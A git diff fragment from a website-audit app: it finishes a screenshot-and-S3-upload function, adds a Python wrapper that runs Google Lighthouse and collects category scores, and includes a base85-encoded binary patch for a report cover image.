+ + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + await page.goto(site_url, page_options) + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + # get screenshot + pic_id = uuid.uuid4() + await page.screenshot({'path': f'{pic_id}.png'}) + await driver.close() + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + return img_obj \ No newline at end of file diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py new file mode 100644 index 00000000..dd29d403 --- /dev/null +++ b/app/api/utils/lighthouse.py @@ -0,0 +1,136 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Lighthouse(): + + """Initializes Google's Lighthouse CLI and runs an audit of the site""" + + + def __init__(self, site=None, configs=None): + self.site = site + self.configs = configs + self.sizes = configs['window_size'].split(',') + + + def init_audit(self): + proc = subprocess.Popen([ + 'lighthouse', + '--config-path=api/utils/custom-config.js', + '--quiet', + self.site.site_url, + '--plugins=lighthouse-plugin-crux', + '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', + f'--screenEmulation.width={self.sizes[0]}', + f'--screenEmulation.height={self.sizes[1]}', + f'--screenEmulation.{self.configs["device"]}', + '--output', + 'json', + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + + try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"][cat]["auditRefs"] + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits + } + + + except Exception as e: + print(e) + + scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } + + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + "pwa": [], + "crux": [] + } + + data = { + "scores": scores, + "audits": audits + } + + return data diff --git a/app/api/utils/report_assets/cover_img.png b/app/api/utils/report_assets/cover_img.png new file mode 100644 index 0000000000000000000000000000000000000000..ac6e1b5ef8d7582660dc1bdff1aebccbe74eb54c GIT binary patch literal 119558 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 